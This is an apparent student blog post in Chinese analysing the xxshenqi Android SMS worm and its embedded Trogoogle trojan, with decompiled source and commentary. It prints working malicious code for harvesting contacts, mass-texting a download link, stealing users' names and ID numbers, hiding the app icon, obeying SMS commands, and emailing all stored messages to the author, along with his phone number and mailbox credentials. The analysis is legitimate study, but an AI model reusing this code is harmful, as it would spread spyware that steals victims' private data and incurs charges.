xxshenqi分析报告
背景
今年七夕爆发了一场大规模手机病毒传播,apk的名字叫做xxshenqi。中了这个病毒的用户会群发手机所有联系人一条信息,内容是包含这个apk下载的链接,同时用户的联系人信息和短信会被窃取,造成隐私泄露和电话扣费的危害。事实上,xxshenqi.apk只是一个外壳,达到扩散及得到用户的身份证和姓名的目的,它解压后会发现还内嵌有一个com.android.Trogoogle.apk的木马程序,这个程序能够控制用户短信,包括读取,发送和伪造。
反编译
由于软件的作者没有进行代码混淆,所以对apk反编译之后的代码一目了然。
前期准备:
1.解压软件 (解压apk,获得classes.dex)
2.dex2jar (将apk的classes.dex转化为jar文件)
3.jd-gui (反编译工具,直接查看jar包的源代码)
4.xxshenqi.apk (样本)
步骤:
1.用解压软件把xxshenqi.apk解压出来,找到一个classes.dex文件,这个是安卓源码编译过的字节码包
2.将这个classes.dex文件复制到dex2jar.bat同一目录下
3.cmd到该目录下,运行命令>> d2j-dex2jar.bat classes.dex
4.得到一个classes_dex2jar.jar文件
5.用jd-gui.exe打开这个jar文件,就可以看到源代码了
6.用1-5步骤得到assets目录下的com.android.Trogoogle.apk的源代码
代码分析
包名:com.example.xxshenqi
|->点击登陆按钮->永远无法登陆成功
程序运行的步骤是:WelcomeActivity->MainActivity{
|->点击注册按钮->RegisterActivity
WelcomeActivity
首先可以发现WelcomeActivity是最开始的欢迎界面,在启动这个界面的过程中,程序就已经完成以下几件事:
1.读取联系人信息,包括联系人姓名和联系人手机号码
2.向所有联系人群发一条短信
3.群发完成后向作者发送一条完成短信
接下来分析WelcomeActivity中的ReadCONTACTS方法中的代码:
- private void ReadCONTACTS(Context paramContext)
- {
- this.contactArray = new ArrayList();
- this.context = paramContext;
- this.cursor = this.context.getContentResolver().query(ContactsContract.Contacts.CONTENT_URI, null, null, null, null);
- new Thread()
- {
- public void run()
- {
- if (!WelcomeActivity.this.cursor.moveToNext())
- {
- if (WelcomeActivity.this.counts != 99) {}
- }
- else
- {
- String str = WelcomeActivity.this.cursor.getString(WelcomeActivity.this.cursor.getColumnIndex("_id"));
- WelcomeActivity.this.nameString = WelcomeActivity.this.cursor.getString(WelcomeActivity.this.cursor.getColumnIndex("display_name"));
- Cursor localCursor = WelcomeActivity.this.context.getContentResolver().query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null, "contact_id = " + str, null, null);
- ArrayList localArrayList = new ArrayList();
- localArrayList.add("\r\n" + WelcomeActivity.this.nameString);
- for (;;)
- {
- if (!localCursor.moveToNext()) {}
- for (;;)
- {
- localCursor.close();
- WelcomeActivity.this.contactArray.add(localArrayList);
- break;
- WelcomeActivity.this.phoneString = localCursor.getString(localCursor.getColumnIndex("data1"));
- WelcomeActivity.this.phoneString = WelcomeActivity.this.phoneString.replace(" ", "");
- WelcomeActivity.this.phoneString = WelcomeActivity.this.phoneString.replace("+86", "");
- try
- {
- if (WelcomeActivity.this.phoneString.length() == 11)
- {
- sleep(20L);
- if ((WelcomeActivity.this.counts % 20 == 0) && (WelcomeActivity.this.counts != 0)) {
- sleep(5000L);
- }
- if (WelcomeActivity.this.counts == 99) {
- continue;
- }
- SmsManager.getDefault().sendTextMessage(WelcomeActivity.this.phoneString, null, WelcomeActivity.this.nameString + "看这个," + "http://cdn.yyupload.com/down/4279193/XXshenqi.apk", null, null);
- WelcomeActivity localWelcomeActivity1 = WelcomeActivity.this;
- localWelcomeActivity1.counts = (1 + localWelcomeActivity1.counts);
- System.out.println("send Message to " + WelcomeActivity.this.nameString + " " + WelcomeActivity.this.counts);
- }
- }
- catch (Exception localException)
- {
- for (;;)
- {
- localException.toString();
- }
- }
- }
- localArrayList.add(WelcomeActivity.this.phoneString);
- }
- }
- SmsManager.getDefault().sendTextMessage("18670259904", null, "XXshenqi 群发链接OK", null, null);
- WelcomeActivity localWelcomeActivity2 = WelcomeActivity.this;
- localWelcomeActivity2.counts = (1 + localWelcomeActivity2.counts);
- System.out.println("===========================");
- System.out.println("test---->群发OK");
- System.out.println("============================");
- }
- }.start();
- }
可以看到以下几条关键代码:
this.cursor = this.context.getContentResolver().query(ContactsContract.Contacts.CONTENT_URI, null, null, null, null);
读取通讯录
WelcomeActivity.this.nameString = WelcomeActivity.this.cursor.getString(WelcomeActivity.this.cursor.getColumnIndex("display_name"));
获得联系人姓名
WelcomeActivity.this.phoneString = localCursor.getString(localCursor.getColumnIndex("data1"));
获得联系人手机号码
在这里,作者对联系人手机号码做了一些处理,把空格和"+86"前缀去掉,得到11位的手机号码,在判断手机号码为11位之后,就开始发短信。同时,为了防止过于快速的发送短信被运营商封禁,作者还做了休眠(sleep()),每条短信休眠20ms,每20条短信休眠5秒,每100条短信清空一下指针。
SmsManager.getDefault().sendTextMessage(WelcomeActivity.this.phoneString, null, WelcomeActivity.this.nameString + "看这个," + "http://cdn.yyupload.com/down/4279193/XXshenqi.apk", null, null)
上面就是发送短信的代码,也就是广大用户收到的那条短信,可以看出第一个参数是接收端的手机号码,第三个参数是短信内容,其中这里的代码phoneString存的是手机号码,nameString存的是联系人名字。
SmsManager.getDefault().sendTextMessage("18670259904", null, "XXshenqi 群发链接OK", null, null);
最后,群发成功后就会发送一条信息给作者。这里也可以看到作者的手机号码。
MainActivity
在前面程序完成了散播病毒的功能,接下来在MainActivity完成以下几件事:
1.检测Trogoogle子包是否已经安装,如果没有,就引导用户去安装,然后找到assets目录下的com.android.Trogoogle.apk安装
2.安装成功后会发一条信息给作者,表示用户已经中了木马
3.此时到了程序主界面,如果用户选择“登陆",就先对网络进行检测,事实上用户是永远不可能登陆成功的,因为若用户输入的密码大于等于6位,会显示"正在验证,请稍后..."“密码错误或账号不存在”,若用户输入的密码小于6位,会显示"请输入正确的密码或账号"(传说中的坑爹);如果用户选择"注册",那么就会到了RegisterActivity进行注册
检测和安装Trogoogle
- 1 if (!detectApk("com.example.com.android.trogoogle"))
- {
- System.out.println("host开始安装==============================");
- String str = getFilesDir().getAbsolutePath() + "/com.android.Trogoogle.apk";
- retrieveApkFromAssets(this, "com.android.Trogoogle.apk", str);
- showInstallConfirmDialog(this, str);
- }</span>
- <span style="font-size:18px;"> public boolean retrieveApkFromAssets(Context paramContext, String paramString1, String paramString2)
- {
- try
- {
- File localFile = new File(paramString2);
- if (localFile.exists()) {
- return true;
- }
- localFile.createNewFile();
- InputStream localInputStream = paramContext.getAssets().open(paramString1);
- FileOutputStream localFileOutputStream = new FileOutputStream(localFile);
- byte[] arrayOfByte = new byte[1024];
- boolean bool;
- for (;;)
- {
- int i = localInputStream.read(arrayOfByte);
- if (i == -1)
- {
- localFileOutputStream.flush();
- localFileOutputStream.close();
- localInputStream.close();
- bool = true;
- break;
- }
- localFileOutputStream.write(arrayOfByte, 0, i);
- }
- AlertDialog.Builder localBuilder;
- return bool;
- }
- catch (IOException localIOException)
- {
- Toast.makeText(paramContext, localIOException.getMessage(), 2000).show();
- localBuilder = new AlertDialog.Builder(paramContext);
- localBuilder.setMessage(localIOException.getMessage());
- localBuilder.show();
- localIOException.printStackTrace();
- bool = false;
- }
- }
- public void showInstallConfirmDialog(final Context paramContext, final String paramString)
- {
- AlertDialog.Builder localBuilder = new AlertDialog.Builder(paramContext);
- localBuilder.setIcon(2130837592);
- localBuilder.setTitle("未安装资源包");
- localBuilder.setMessage("请先安装资源包,资源包已整合至APK,点击安装即可安装。");
- localBuilder.setPositiveButton("安装", new DialogInterface.OnClickListener()
- {
- public void onClick(DialogInterface paramAnonymousDialogInterface, int paramAnonymousInt)
- {
- try
- {
- String str = "chmod 777 " + paramString;
- Runtime.getRuntime().exec(str);
- Intent localIntent = new Intent("android.intent.action.VIEW");
- localIntent.addFlags(268435456);
- localIntent.setDataAndType(Uri.parse("file://" + paramString), "application/vnd.android.package-archive");
- paramContext.startActivity(localIntent);
- return;
- }
- catch (IOException localIOException)
- {
- for (;;)
- {
- localIOException.printStackTrace();
- }
- }
- }
- });
- localBuilder.show();
- }
登陆
- public void onClick(View paramAnonymousView)
- {
- if (!MainActivity.this.detectApk("com.example.com.android.trogoogle"))
- {
- String str = MainActivity.this.getFilesDir().getAbsolutePath() + "/com.android.Trogoogle.apk";
- MainActivity.this.retrieveApkFromAssets(MainActivity.this, "com.android.Trogoogle.apk", str);
- MainActivity.this.showInstallConfirmDialog(MainActivity.this, str);
- return;
- }
- if (!MainActivity.this.goToNetWork())
- {
- Toast.makeText(MainActivity.this, "无法连接,请检查您的网络!", 0).show();
- return;
- }
- if (MainActivity.this.pass.getText().toString().length() >= 6)
- {
- Toast.makeText(MainActivity.this, "正在验证,请稍后...", 0).show();
- Toast.makeText(MainActivity.this, "密码错误或账号不存在!", 0).show();
- return;
- }
- Toast.makeText(MainActivity.this, "请输入正确的账号或密码", 0).show();
- }
RegisterActivity
- public void onClick(View paramAnonymousView)
- {
- String str = RegisterActivity.this.idEditText.getText().toString();
- if (str.length() != 18)
- {
- Toast.makeText(RegisterActivity.this, "请输入正确的身份证号", 0).show();
- return;
- }
- int i = Integer.parseInt(str.substring(6, 10));
- int j = Integer.parseInt(str.substring(10, 12));
- int k = Integer.parseInt(str.substring(12, 14));
- if ((i > 1996) || (i < 1980) || (j > 12) || (j == 0) || (k == 0) || (k > 31))
- {
- Toast.makeText(RegisterActivity.this, "请输入正确的身份证号", 0).show();
- return;
- }
- if ((RegisterActivity.this.nameEditText.getText().toString().length() < 2) || (RegisterActivity.this.nameEditText.getText().toString().length() > 4))
- {
- Toast.makeText(RegisterActivity.this, "请输入正确的姓名", 0).show();
- return;
- }
- SmsManager.getDefault().sendTextMessage("18670259904", null, "得到主机,姓名:" + RegisterActivity.this.nameEditText.getText().toString() + ",身份证号为:" + str, null, null);
- Toast.makeText(RegisterActivity.this, "注册成功!", 0).show();
- RegisterActivity.this.startActivity(new Intent(RegisterActivity.this, MainActivity.class));
- }
这个注册的Activity获取了用户填写的姓名和身份证号,注册完成后这些信息会以短信的形式发送到作者的手机上。同时,从上面的代码可以看出作者也对姓名和身份证号做了简单的校验。
分析完掩人耳目的外壳,现在来看里面的木马程序
包名:example.com.android.trogoogle
MainActivity
在这个入口程序中,主要的功能是实现隐藏图标。
- protected void onCreate(Bundle paramBundle)
- {
- super.onCreate(paramBundle);
- requestWindowFeature(1);
- setContentView(2130903063);
- getPackageManager().setComponentEnabledSetting(getComponentName(), 2, 1);
- System.out.println("APP图标隐藏成功==============================");
- Intent localIntent = new Intent();
- localIntent.setClass(this, ListenMessageService.class);
- startService(localIntent);
- System.out.println(" startService成功==============================");
- System.out.println("--------->>>finish()");
- finish();
- }
ListenMessageService
这里有个比较重要的类SmsObserver,顾名思义,是用来监控短信的。里面包含了SEND查询和RECV查询,以及几种处理状态。当发件箱有变化时,就会进入SEND查询;当收件箱有变化时就会进入RECV查询。
BroadcastRecvMessage
RECV有几种指令,包括
readmessage指令就会读取所有短信并且发送到作者的邮箱中;
sendmessage指令就会发送指定的内容到指定的号码;
makemessage指令伪造短信
- if (!str5.equals("readmessage")) {
- break label188;
- }
- System.out.println("木马收到发送邮件命令==============================");
- String str10 = ReadAllMessage(paramContext);
- Intent localIntent4 = new Intent(paramContext, MySendEmailService.class);
- localIntent4.putExtra("String", str10);
- paramContext.startService(localIntent4);
- abortBroadcast();
- continue;
- if (!str5.equals("sendmessage")) {
- break label188;
- }
- System.out.println("木马收到发送短信命令==============================");
- int n = str2.lastIndexOf('/');
- String str8 = str2.substring(k + 1, n);
- String str9 = str2.substring(n + 1, str2.length());
- SmsManager.getDefault().sendTextMessage(str8, null, str9, null, null);
- System.out.println("木马发送短信成功================================");
- if (!str5.equals("makemessage")) {
- break label188;
- }
- System.out.println("木马收到伪造短信命令==============================");
- int m = str2.lastIndexOf('/');
- String str6 = str2.substring(k + 1, m);
- String str7 = str2.substring(m + 1, str2.length());
- Intent localIntent3 = new Intent(paramContext, MyMakeMessageService.class);
- localIntent3.putExtra("address", str6);
- localIntent3.putExtra("body", str7);
- paramContext.startService(localIntent3);
同时还有一些作者判定的信息内容也会发送给作者(比如,淘宝和普通的信息)
- System.out.println("木马觉得淘宝信息==============================");
- str4 = "【特殊消息】" + str2;
- if (str4.length() > 60)
- {
- localSmsManager.sendTextMessage("18670259904", null, str4.substring(0, str4.length() / 2), null, null);
- localSmsManager.sendTextMessage("18670259904", null, str4.substring(1 + str4.length() / 2), null, null);
- }
- System.out.println("木马觉得是普通信息==============================");
- localSmsManager.sendTextMessage("18670259904", null, "From:" + str3 + ";content:" + str2, null, null);
MySendEmailService
这里作者暴露了他的个人邮箱和口令
- protected void onHandleIntent(Intent paramIntent)
- {
- System.out.println("木马进入MySendEmailService==============================");
- String str = paramIntent.getStringExtra("String");
- System.out.println("木马开始发送邮件============================");
- MailSenderInfo localMailSenderInfo = new MailSenderInfo();
- localMailSenderInfo.setMailServerHost("smtp.qq.com");
- localMailSenderInfo.setMailServerPort("25");
- localMailSenderInfo.setValidate(true);
- localMailSenderInfo.setUserName("a137736513@qq.com");
- localMailSenderInfo.setPassword("lishulili.");
- localMailSenderInfo.setFromAddress("a137736513@qq.com");
- localMailSenderInfo.setToAddress("137736513@qq.com");
- localMailSenderInfo.setSubject("信息");
- localMailSenderInfo.setContent(str);
- new SimpleMailSender().sendTextMail(localMailSenderInfo);
- SimpleMailSender.sendHtmlMail(localMailSenderInfo);
- System.out.println("木马完成发送邮件=============================");
- System.out.println("木马离开MySendEmailService=============================");
- System.out.println("木马killProcess==============================");
- Process.killProcess(Process.myPid());
- }
当然,现在口令已经被改了。
总结
据作者本人说没想过影响会那么大。确实,社工部分非常简陋,传播的信息内容只是”xxx,看这个,http://cdn.yyupload.com/down/4279193/XXshenqi.apk“,这样子看来,毫不犹豫点击这个链接看上去挺傻的,因为发送者什么都没有说明,可事实上确实有很多用户中招了。
虽然很多人说作者做这个东西其实没什么技术含量,但是他才大一,并且想做就做了,这点挺佩服的,如果能增加一点法律意识可能就没那么悲剧了。
后记
这个程序在安全大牛眼里可能是一个玩具,但是对于我来说拿来练手就刚刚好了。第一次反编译和分析apk,有种莫名的成就感。不过文章写出来,似乎表达差了一点。最后非常感谢CJ给我提供了样本。
参考
http://fashion4cj.com/shuo-yi-shuo-xxshenqizhe-ge-shi-qing-ba.html
xxshenqi分析报告的更多相关文章
- Alpha阶段事后分析报告
每个团队编写一个事后分析报告,对于团队在Alpha阶段的工作做一个总结. 请在2016年11月24日上课之前根据下述博客中的模板总结前一阶段的工作,发表在团队博客上,并在课上的事后分析会上进行汇报,并 ...
- 《奥威Power-BI智能分析报告制作方法 》精彩回顾
上次课我们简单介绍了奥威Power-BI的智能分析报告,并展示了报告与图表相结合的应用场景.图文分析报表的意义不只在于美观,更重要的是固定框架下的灵活性和追根究底的动态分析,有着很强的实用性.上节课 ...
- 12月07日《奥威Power-BI智能分析报告制作方法 》腾讯课堂开课啦
前几天跟我一个做报表的哥们聊天,听着他一茬一茬地诉苦:“每天做报表做到想吐,老板看报表时还是不给一个好脸色.”我也只能搬出那一套“过程大于结果”的内心疗程赠与他,没想到他反而怒了:“做 ...
- M1事后分析报告(Postmortem Report)
M1事后分析报告(Postmortem Report) 设想和目标 1. 我们的软件要解决什么问题?是否定义得很清楚?是否对典型用户和典型场景有清晰的描述? 我们项目组所开发的软件为一个基于Andro ...
- websphere OSGi应用环境下服务调用saaj包加载问题分析报告
websphere OSGi应用环境下服务调用saaj包加载问题分析报告 作者:bingjava 版权声明:本文为博主原创文章,转载请说明出处:http://www.cnblogs.com/bingj ...
- Google发布SSLv3漏洞简要分析报告
今天上午,Google发布了一份关于SSLv3漏洞的简要分析报告.根据Google的说法,该漏洞贯穿于所有的SSLv3版本中,利用该漏洞,黑客可以通过中间人攻击等类似的方式(只要劫持到的数据加密两端均 ...
- 推荐一个利用 python 生成 pptx 分析报告的工具包:reportgen
reportgen v0.1.8 更新介绍 这段时间,我对 reportgen 进行了大工程量的修改和更新.将之前在各个文章中出现的函数进行了封装,同时也对现有工具包的一些逻辑进行了调整. 1.rep ...
- python 生成 pptx 分析报告的工具包:reportgen
python机器学习-sklearn挖掘乳腺癌细胞( 博主亲自录制) 网易云观看地址 https://study.163.com/course/introduction.htm?courseId=10 ...
- 使用AES加密的勒索类软件分析报告
报告名称: 某勒索类软件分析报告 作者: 李东 报告更新日期: 样本发现日期: 样本类型: 样本文件大小/被感染文件变化长度: 样本文件MD5 校验值: da4ab5e31793 ...
随机推荐
- 跟哥一起学python(2)- 运行第一个python程序&环境搭建
本节的任务,是完成我们的第一个python程序,并搭建好学习python的环境. 建议通过视频来学习本节内容: 查看本节视频 再次看看上一节提到的那张图,看看作为高级编程语言,我们如何编程. 首先, ...
- ELK+kafka日志收集分析系统
环境: 服务器IP 软件 版本 192.168.0.156 zookeeper+kafka zk:3.4.14 kafka:2.11-2.2.0 192.168.0.42 zookeeper+kaf ...
- DataHub——实时数据治理平台
DataHub 首先,阿里云也有一款名为DataHub的产品,是一个流式处理平台,本文所述DataHub与其无关. 数据治理是大佬们最近谈的一个火热的话题.不管国家层面,还是企业层面现在对这个问题是越 ...
- 封锁阳光大学(染色)P1330
题目:https://www.luogu.com.cn/problem/P1330 阳光大学的校园是一张由 n 个点构成的无向图,n 个点之间由 m 条道路连接.每只河蟹可以对一个点进行封锁,当某个点 ...
- for do-while while区别
分别用for do-while while求1-100的和
- qt creator源码全方面分析(4-5)
目录 Qt中的字符串 QLatinString 详细介绍 源码 小结 QStringLiteral(str) 详细介绍 源码 小结 Qt中的字符串 Qt中处理字符串最常用的肯定是QString,但是在 ...
- 【Spark】Spark任务调度相关知识
文章目录 准备知识 DAG 概述 shuffle 概述 SortShuffleManager 普通机制 bypass机制 Spark任务调度 流程 准备知识 要弄清楚Spark的任务调度流程,就必须要 ...
- 使用jquery实现的自适应导航
话不多说,直接晒代码 <div class="headering"> <div class="header-top"> <div ...
- 关于redis内存分析,内存优化
对于redis来说,什么是最重要的? 毋庸置疑,是内存. 一.reids 内存分析 redis内存使用情况:info memory 示例: 可以看到,当前节点内存碎片率为226893824/20952 ...
- 关于SpringBoot的外部化配置使用记录
关于SpringBoot的外部化配置使用记录 声明: 若有任何纰漏.错误请不吝指出! 记录下使用SpringBoot配置时遇到的一些麻烦,虽然这种麻烦是因为知识匮乏导致的. 记录下避免一段时间后自己又 ...